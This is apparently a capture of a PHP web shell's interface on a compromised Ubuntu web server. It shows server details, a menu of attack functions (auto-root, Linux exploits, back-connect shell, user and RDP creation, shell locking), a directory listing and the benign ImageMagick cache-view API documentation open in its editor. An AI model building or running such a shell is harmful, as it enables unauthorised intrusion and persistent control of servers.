Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.41.203
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
ubuntu /
ImageMagick-7.0.10-22 /
www /
api /
[ HOME SHELL ]
Name
Size
Permission
Action
Magick++
[ DIR ]
drwxrwxr-x
MagickCore
[ DIR ]
drwxrwxr-x
MagickWand
[ DIR ]
drwxrwxr-x
Image++.html
142.95
KB
-rw-rw-r--
animate.html
20.24
KB
-rw-rw-r--
annotate.html
11.2
KB
-rw-rw-r--
attribute.html
15.06
KB
-rw-rw-r--
blob.html
16.28
KB
-rw-rw-r--
cache-view.html
24.77
KB
-rw-rw-r--
cache.html
21.84
KB
-rw-rw-r--
channel.html
12.64
KB
-rw-rw-r--
cipher.html
13.14
KB
-rw-rw-r--
color.html
11.33
KB
-rw-rw-r--
colormap.html
9.16
KB
-rw-rw-r--
colorspace.html
11.24
KB
-rw-rw-r--
compare.html
8.31
KB
-rw-rw-r--
composite.html
8.19
KB
-rw-rw-r--
constitute.html
14.46
KB
-rw-rw-r--
decorate.html
10.3
KB
-rw-rw-r--
deprecate.html
20.24
KB
-rw-rw-r--
display.html
7.32
KB
-rw-rw-r--
distort.html
13.95
KB
-rw-rw-r--
draw.html
15.78
KB
-rw-rw-r--
drawing-wand.html
109.99
KB
-rw-rw-r--
effect.html
25.44
KB
-rw-rw-r--
enhance.html
29.56
KB
-rw-rw-r--
exception.html
17.21
KB
-rw-rw-r--
feature.html
12.76
KB
-rw-rw-r--
fourier.html
9.94
KB
-rw-rw-r--
fx.html
7.87
KB
-rw-rw-r--
histogram.html
12.5
KB
-rw-rw-r--
image-view.html
23.09
KB
-rw-rw-r--
image.html
35.75
KB
-rw-rw-r--
layer.html
19.48
KB
-rw-rw-r--
list.html
25.74
KB
-rw-rw-r--
magick++-classes.html
13.5
KB
-rw-rw-r--
magick-deprecate.html
7.29
KB
-rw-rw-r--
magick-image.html
244.56
KB
-rw-rw-r--
magick-property.html
54.93
KB
-rw-rw-r--
magick-wand.html
24.62
KB
-rw-rw-r--
magick.html
11.1
KB
-rw-rw-r--
memory.html
19.25
KB
-rw-rw-r--
mime.html
11
KB
-rw-rw-r--
module.html
18.59
KB
-rw-rw-r--
mogrify.html
9
KB
-rw-rw-r--
monitor.html
10.51
KB
-rw-rw-r--
montage.html
7.3
KB
-rw-rw-r--
morphology.html
38.04
KB
-rw-rw-r--
paint.html
13.93
KB
-rw-rw-r--
pixel-iterator.html
18.58
KB
-rw-rw-r--
pixel-wand.html
42.65
KB
-rw-rw-r--
profile.html
14.33
KB
-rw-rw-r--
property.html
16.46
KB
-rw-rw-r--
quantize.html
24.53
KB
-rw-rw-r--
registry.html
11.67
KB
-rw-rw-r--
resize.html
16.42
KB
-rw-rw-r--
resource.html
12.35
KB
-rw-rw-r--
segment.html
8.53
KB
-rw-rw-r--
shear.html
12.27
KB
-rw-rw-r--
signature.html
8.1
KB
-rw-rw-r--
statistic.html
17.64
KB
-rw-rw-r--
stream.html
8.35
KB
-rw-rw-r--
transform.html
19.6
KB
-rw-rw-r--
version.html
12.84
KB
-rw-rw-r--
wand-view.html
20.65
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cache-view.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1,shrink-to-fit=no" /> <title>ImageMagick - MagickCore, C API: Cache Views</title> <meta name="application-name" content="ImageMagick" /> <meta name="description" content="Use ImageMagick® to create, edit, compose, and convert bitmap images. Resize an image, crop it, change its shades and colors, add captions, and more." /> <meta name="application-url" content="https://imagemagick.org" /> <meta name="generator" content="PHP" /> <meta name="keywords" content="magickcore, c, api:, cache, views, image converter, image resizer, image editor, photo editor, jpg converter, png converter, tiff converter, vector images, online, free, swiss army" /> <meta name="rating" content="GENERAL" /> <meta name="robots" content="INDEX, FOLLOW" /> <meta name="generator" content="ImageMagick Studio LLC" /> <meta name="author" content="ImageMagick Studio LLC" /> <meta name="revisit-after" content="2 DAYS" /> <meta name="resource-type" content="document" /> <meta name="copyright" content="Copyright (c) 1999-2020 ImageMagick Studio LLC" /> <meta name="distribution" content="Global" /> <meta name="magick-serial" content="P131-S030410-R485315270133-P82224-A6668-G1245-1" /> <meta property='og:url' content='../../' /> <meta property='og:title' content='ImageMagick' /> <meta property='og:image' content='../../images/logo.png' /> <meta property='og:type' content='website' /> <meta property='og:site_name' content='ImageMagick' /> <meta property='og:description' content="Create, Edit, Compose, or Convert Bitmap Images" /> <meta name="google-site-verification" content="_bMOCDpkx9ZAzBwb2kF3PRHbfUUdFj2uO8Jd1AXArz4" /> <link href="cache-view.html" rel="canonical" /> <link href="../images/wand.png" rel="icon" /> <link href="../images/wand.ico" rel="shortcut icon" /> <link href="assets/magick.css" rel="stylesheet" /> </head> <body> <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark"> <a class="navbar-brand" href="../index.html"><img class="d-block" id="icon" alt="ImageMagick" width="32" height="32" src="../images/wand.ico"/></a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsMagick" aria-controls="navbarsMagick" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="navbar-collapse collapse" id="navbarsMagick" style=""> <ul class="navbar-nav mr-auto"> <li class="nav-item "> <a class="nav-link" href="../index.html">Home <span class="sr-only">(current)</span></a> </li> <li class="nav-item "> <a class="nav-link" href="../www/download.html">Download</a> </li> <li class="nav-item "> <a class="nav-link" href="../www/command-line-tools.html">Tools</a> </li> <li class="nav-item "> <a class="nav-link" href="../www/command-line-processing.html">Command-line</a> </li> <li class="nav-item "> <a class="nav-link" href="../www/resources.html">Resources</a> </li> <li class="nav-item "> <a class="nav-link" href="../www/develop.html">Develop</a> </li> <li class="nav-item"> <a class="nav-link" target="_blank" href="https://github.com/ImageMagick/ImageMagick/discussions">Community</a> </li> </ul> </div> <form class="form-inline my-2 my-lg-0" action="../https://imagemagick.org/script/search.php"> <input class="form-control mr-sm-2" type="text" name="q" placeholder="Search" aria-label="Search"> <button class="btn btn-outline-success my-2 my-sm-0" type="submit" name="sa">Search</button> </form> </nav> <div class="container"> <script async="async" src="https://localhost/pagead/js/adsbygoogle.js"></script> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-3129977114552745" data-ad-slot="6345125851" data-full-width-responsive="true" data-ad-format="horizontal"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> </div> <main class="container"> <div class="magick-template"> <div class="magick-header"> <p class="text-center"><a href="cache-view.html#AcquireAuthenticCacheView">AcquireAuthenticCacheView</a> • <a href="cache-view.html#AcquireVirtualCacheView">AcquireVirtualCacheView</a> • <a href="cache-view.html#CloneCacheView">CloneCacheView</a> • <a href="cache-view.html#DestroyCacheView">DestroyCacheView</a> • <a href="cache-view.html#GetCacheViewAuthenticPixels">GetCacheViewAuthenticPixels</a> • <a href="cache-view.html#GetCacheViewAuthenticMetacontent">GetCacheViewAuthenticMetacontent</a> • <a href="cache-view.html#GetCacheViewAuthenticPixelQueue">GetCacheViewAuthenticPixelQueue</a> • <a href="cache-view.html#GetCacheViewColorspace">GetCacheViewColorspace</a> • <a href="cache-view.html#GetCacheViewImage">GetCacheViewImage</a> • <a href="cache-view.html#GetCacheViewStorageClass">GetCacheViewStorageClass</a> • <a href="cache-view.html#GetCacheViewVirtualMetacontent">GetCacheViewVirtualMetacontent</a> • <a href="cache-view.html#GetCacheViewVirtualPixelQueue">GetCacheViewVirtualPixelQueue</a> • <a href="cache-view.html#GetCacheViewVirtualPixels">GetCacheViewVirtualPixels</a> • <a href="cache-view.html#GetOneCacheViewAuthenticPixel">GetOneCacheViewAuthenticPixel</a> • <a href="cache-view.html#GetOneCacheViewVirtualPixel">GetOneCacheViewVirtualPixel</a> • <a href="cache-view.html#GetOneCacheViewVirtualPixelInfo">GetOneCacheViewVirtualPixelInfo</a> • <a href="cache-view.html#GetOneCacheViewVirtualMethodPixel">GetOneCacheViewVirtualMethodPixel</a> • <a href="cache-view.html#QueueCacheViewAuthenticPixels">QueueCacheViewAuthenticPixels</a> • <a href="cache-view.html#SetCacheViewStorageClass">SetCacheViewStorageClass</a> • <a href="cache-view.html#SetCacheViewVirtualPixelMethod">SetCacheViewVirtualPixelMethod</a> • <a href="cache-view.html#SyncCacheViewAuthenticPixels">SyncCacheViewAuthenticPixels</a></p> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="AcquireAuthenticCacheView">AcquireAuthenticCacheView</a></h2> <p>AcquireAuthenticCacheView() acquires an authentic view into the pixel cache. It always succeeds but may return a warning or informational exception.</p> <p>The format of the AcquireAuthenticCacheView method is:</p> <pre class="text"> CacheView *AcquireAuthenticCacheView(const Image *image, ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>image</dt> <dd>the image. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="AcquireVirtualCacheView">AcquireVirtualCacheView</a></h2> <p>AcquireVirtualCacheView() acquires a virtual view into the pixel cache, using the VirtualPixelMethod that is defined within the given image itself. It always succeeds but may return a warning or informational exception.</p> <p>The format of the AcquireVirtualCacheView method is:</p> <pre class="text"> CacheView *AcquireVirtualCacheView(const Image *image, ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>image</dt> <dd>the image. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="CloneCacheView">CloneCacheView</a></h2> <p>CloneCacheView() makes an exact copy of the specified cache view.</p> <p>The format of the CloneCacheView method is:</p> <pre class="text"> CacheView *CloneCacheView(const CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="DestroyCacheView">DestroyCacheView</a></h2> <p>DestroyCacheView() destroys the specified view returned by a previous call to AcquireCacheView().</p> <p>The format of the DestroyCacheView method is:</p> <pre class="text"> CacheView *DestroyCacheView(CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewAuthenticPixels">GetCacheViewAuthenticPixels</a></h2> <p>GetCacheViewAuthenticPixels() gets pixels from the in-memory or disk pixel cache as defined by the geometry parameters. A pointer to the pixels is returned if the pixels are transferred, otherwise a NULL is returned.</p> <p>The format of the GetCacheViewAuthenticPixels method is:</p> <pre class="text"> Quantum *GetCacheViewAuthenticPixels(CacheView *cache_view, const ssize_t x,const ssize_t y,const size_t columns, const size_t rows,ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>x,y,columns,rows</dt> <dd> These values define the perimeter of a region of pixels. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewAuthenticMetacontent">GetCacheViewAuthenticMetacontent</a></h2> <p>GetCacheViewAuthenticMetacontent() returns the meta-content corresponding with the last call to SetCacheViewIndexes() or GetCacheViewAuthenticMetacontent(). The meta-content are authentic and can be updated.</p> <p>The format of the GetCacheViewAuthenticMetacontent() method is:</p> <pre class="text"> void *GetCacheViewAuthenticMetacontent(CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewAuthenticPixelQueue">GetCacheViewAuthenticPixelQueue</a></h2> <p>GetCacheViewAuthenticPixelQueue() returns the pixels associated with the last call to QueueCacheViewAuthenticPixels() or GetCacheViewAuthenticPixels(). The pixels are authentic and therefore can be updated.</p> <p>The format of the GetCacheViewAuthenticPixelQueue() method is:</p> <pre class="text"> Quantum *GetCacheViewAuthenticPixelQueue(CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewColorspace">GetCacheViewColorspace</a></h2> <p>GetCacheViewColorspace() returns the image colorspace associated with the specified view.</p> <p>The format of the GetCacheViewColorspace method is:</p> <pre class="text"> ColorspaceType GetCacheViewColorspace(const CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewImage">GetCacheViewImage</a></h2> <p>GetCacheViewImage() returns the image associated with the specified view.</p> <p>The format of the GetCacheViewImage method is:</p> <pre class="text"> const Image *GetCacheViewImage(const CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewStorageClass">GetCacheViewStorageClass</a></h2> <p>GetCacheViewStorageClass() returns the image storage class associated with the specified view.</p> <p>The format of the GetCacheViewStorageClass method is:</p> <pre class="text"> ClassType GetCacheViewStorageClass(const CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewVirtualMetacontent">GetCacheViewVirtualMetacontent</a></h2> <p>GetCacheViewVirtualMetacontent() returns the meta-content corresponding with the last call to GetCacheViewVirtualMetacontent(). The meta-content is virtual and therefore cannot be updated.</p> <p>The format of the GetCacheViewVirtualMetacontent() method is:</p> <pre class="text"> const void *GetCacheViewVirtualMetacontent( const CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewVirtualPixelQueue">GetCacheViewVirtualPixelQueue</a></h2> <p>GetCacheViewVirtualPixelQueue() returns the pixels associated with the last call to GetCacheViewVirtualPixels(). The pixels are virtual and therefore cannot be updated.</p> <p>The format of the GetCacheViewVirtualPixelQueue() method is:</p> <pre class="text"> const Quantum *GetCacheViewVirtualPixelQueue( const CacheView *cache_view) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetCacheViewVirtualPixels">GetCacheViewVirtualPixels</a></h2> <p>GetCacheViewVirtualPixels() gets virtual pixels from the in-memory or disk pixel cache as defined by the geometry parameters. A pointer to the pixels is returned if the pixels are transferred, otherwise a NULL is returned.</p> <p>The format of the GetCacheViewVirtualPixels method is:</p> <pre class="text"> const Quantum *GetCacheViewVirtualPixels( const CacheView *cache_view,const ssize_t x,const ssize_t y, const size_t columns,const size_t rows,ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>x,y,columns,rows</dt> <dd> These values define the perimeter of a region of pixels. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetOneCacheViewAuthenticPixel">GetOneCacheViewAuthenticPixel</a></h2> <p>GetOneCacheViewAuthenticPixel() returns a single pixel at the specified (x,y) location. The image background color is returned if an error occurs.</p> <p>The format of the GetOneCacheViewAuthenticPixel method is:</p> <pre class="text"> MagickBooleaNType GetOneCacheViewAuthenticPixel( const CacheView *cache_view,const ssize_t x,const ssize_t y, Quantum *pixel,ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>x,y</dt> <dd> These values define the offset of the pixel. </dd> <dd> </dd> <dt>pixel</dt> <dd>return a pixel at the specified (x,y) location. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetOneCacheViewVirtualPixel">GetOneCacheViewVirtualPixel</a></h2> <p>GetOneCacheViewVirtualPixel() returns a single pixel at the specified (x,y) location. The image background color is returned if an error occurs. If you plan to modify the pixel, use GetOneCacheViewAuthenticPixel() instead.</p> <p>The format of the GetOneCacheViewVirtualPixel method is:</p> <pre class="text"> MagickBooleanType GetOneCacheViewVirtualPixel( const CacheView *cache_view,const ssize_t x,const ssize_t y, Quantum *pixel,ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>x,y</dt> <dd> These values define the offset of the pixel. </dd> <dd> </dd> <dt>pixel</dt> <dd>return a pixel at the specified (x,y) location. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetOneCacheViewVirtualPixelInfo">GetOneCacheViewVirtualPixelInfo</a></h2> <p>GetOneCacheViewVirtualPixelInfo() returns a single pixel at the specified (x,y) location. The image background color is returned if an error occurs. If you plan to modify the pixel, use GetOneCacheViewAuthenticPixel() instead.</p> <p>The format of the GetOneCacheViewVirtualPixelInfo method is:</p> <pre class="text"> MagickBooleanType GetOneCacheViewVirtualPixelInfo( const CacheView *cache_view,const ssize_t x,const ssize_t y, PixelInfo *pixel,ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>x,y</dt> <dd> These values define the offset of the pixel. </dd> <dd> </dd> <dt>pixel</dt> <dd>return a pixel at the specified (x,y) location. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="GetOneCacheViewVirtualMethodPixel">GetOneCacheViewVirtualMethodPixel</a></h2> <p>GetOneCacheViewVirtualMethodPixel() returns a single virtual pixel at the specified (x,y) location. The image background color is returned if an error occurs. If you plan to modify the pixel, use GetOneCacheViewAuthenticPixel() instead.</p> <p>The format of the GetOneCacheViewVirtualPixel method is:</p> <pre class="text"> MagickBooleanType GetOneCacheViewVirtualMethodPixel( const CacheView *cache_view, const VirtualPixelMethod virtual_pixel_method,const ssize_t x, const ssize_t y,Quantum *pixel,ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>virtual_pixel_method</dt> <dd>the virtual pixel method. </dd> <dd> </dd> <dt>x,y</dt> <dd> These values define the offset of the pixel. </dd> <dd> </dd> <dt>pixel</dt> <dd>return a pixel at the specified (x,y) location. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="QueueCacheViewAuthenticPixels">QueueCacheViewAuthenticPixels</a></h2> <p>QueueCacheViewAuthenticPixels() queues authentic pixels from the in-memory or disk pixel cache as defined by the geometry parameters. A pointer to the pixels is returned if the pixels are transferred, otherwise a NULL is returned.</p> <p>The format of the QueueCacheViewAuthenticPixels method is:</p> <pre class="text"> Quantum *QueueCacheViewAuthenticPixels(CacheView *cache_view, const ssize_t x,const ssize_t y,const size_t columns, const size_t rows,ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>x,y,columns,rows</dt> <dd> These values define the perimeter of a region of pixels. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="SetCacheViewStorageClass">SetCacheViewStorageClass</a></h2> <p>SetCacheViewStorageClass() sets the image storage class associated with the specified view.</p> <p>The format of the SetCacheViewStorageClass method is:</p> <pre class="text"> MagickBooleanType SetCacheViewStorageClass(CacheView *cache_view, const ClassType storage_class,ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>storage_class</dt> <dd>the image storage class: PseudoClass or DirectClass. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="SetCacheViewVirtualPixelMethod">SetCacheViewVirtualPixelMethod</a></h2> <p>SetCacheViewVirtualPixelMethod() sets the virtual pixel method associated with the specified cache view.</p> <p>The format of the SetCacheViewVirtualPixelMethod method is:</p> <pre class="text"> MagickBooleanType SetCacheViewVirtualPixelMethod(CacheView *cache_view, const VirtualPixelMethod virtual_pixel_method) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>virtual_pixel_method</dt> <dd>the virtual pixel method. </dd> <dd> </dd> </dl> <h2><a href="../../api/MagickCore/cache-view_8c.html" id="SyncCacheViewAuthenticPixels">SyncCacheViewAuthenticPixels</a></h2> <p>SyncCacheViewAuthenticPixels() saves the cache view pixels to the in-memory or disk cache. It returns MagickTrue if the pixel region is flushed, otherwise MagickFalse.</p> <p>The format of the SyncCacheViewAuthenticPixels method is:</p> <pre class="text"> MagickBooleanType SyncCacheViewAuthenticPixels(CacheView *cache_view, ExceptionInfo *exception) </pre> <p>A description of each parameter follows:</p> <dd> </dd> <dd> </dd> <dl class="dl-horizontal"> <dt>cache_view</dt> <dd>the cache view. </dd> <dd> </dd> <dt>exception</dt> <dd>return any errors or warnings in this structure. </dd> <dd> </dd> </dl> </div> </div> </main><!-- /.container --> <footer class="magick-footer"> <p><a href="../www/security-policy.html">Security</a> • <a href="../www/architecture.html">Architecture</a> <a href="cache-view.html#"><img class="d-inline" id="wand" alt="And Now a Touch of Magick" width="16" height="16" src="../images/wand.ico"/></a> <a href="../www/links.html">Related</a> • <a href="../www/sitemap.html">Sitemap</a> <br/> <a href="../www/support.html">Sponsor</a> • <a href="../www/cite.html">Cite</a> • <a href="http://pgp.mit.edu/pks/lookup?op=get&search=0x89AB63D48277377A">Public Key</a> • <a href="../www/contact.html">Contact Us</a> <br/> <a href="https://github.com/imagemagick/imagemagick" target="_blank" rel="noopener" aria-label="GitHub"><svg xmlns="http://www.w3.org/2000/svg" class="navbar-nav-svg" viewBox="0 0 512 499.36" width="2%" height="2%" role="img" focusable="false"><title>GitHub</title><path fill="currentColor" fill-rule="evenodd" d="M256 0C114.64 0 0 114.61 0 256c0 113.09 73.34 209 175.08 242.9 12.8 2.35 17.47-5.56 17.47-12.34 0-6.08-.22-22.18-.35-43.54-71.2 15.49-86.2-34.34-86.2-34.34-11.64-29.57-28.42-37.45-28.42-37.45-23.27-15.84 1.73-15.55 1.73-15.55 25.69 1.81 39.21 26.38 39.21 26.38 22.84 39.12 59.92 27.82 74.5 21.27 2.33-16.54 8.94-27.82 16.25-34.22-56.84-6.43-116.6-28.43-116.6-126.49 0-27.95 10-50.8 26.35-68.69-2.63-6.48-11.42-32.5 2.51-67.75 0 0 21.49-6.88 70.4 26.24a242.65 242.65 0 0 1 128.18 0c48.87-33.13 70.33-26.24 70.33-26.24 14 35.25 5.18 61.27 2.55 67.75 16.41 17.9 26.31 40.75 26.31 68.69 0 98.35-59.85 120-116.88 126.32 9.19 7.9 17.38 23.53 17.38 47.41 0 34.22-.31 61.83-.31 70.23 0 6.85 4.61 14.81 17.6 12.31C438.72 464.97 512 369.08 512 256.02 512 114.62 397.37 0 256 0z"/></svg></a> • <a href="https://twitter.com/imagemagick" target="_blank" rel="noopener" aria-label="Twitter"><svg xmlns="http://www.w3.org/2000/svg" class="navbar-nav-svg" viewBox="0 0 512 416.32" width="2%" height="2%" role="img" focusable="false"><title>Twitter</title><path fill="currentColor" d="M160.83 416.32c193.2 0 298.92-160.22 298.92-298.92 0-4.51 0-9-.2-13.52A214 214 0 0 0 512 49.38a212.93 212.93 0 0 1-60.44 16.6 105.7 105.7 0 0 0 46.3-58.19 209 209 0 0 1-66.79 25.37 105.09 105.09 0 0 0-181.73 71.91 116.12 116.12 0 0 0 2.66 24c-87.28-4.3-164.73-46.3-216.56-109.82A105.48 105.48 0 0 0 68 159.6a106.27 106.27 0 0 1-47.53-13.11v1.43a105.28 105.28 0 0 0 84.21 103.06 105.67 105.67 0 0 1-47.33 1.84 105.06 105.06 0 0 0 98.14 72.94A210.72 210.72 0 0 1 25 370.84a202.17 202.17 0 0 1-25-1.43 298.85 298.85 0 0 0 160.83 46.92"/></svg></a> <br/> <small>© 1999-2020 ImageMagick Studio LLC</small></p> </footer> <!-- Javascript assets --> <script src="assets/magick.js" crossorigin="anonymous"></script> <script>window.jQuery || document.write('<script src="https://localhost/ajax/libs/jquery/3.4.1/jquery.min.js"><\/script>')</script> </body> </html> <!-- Magick Cache 10th June 2020 02:59 -->
Close
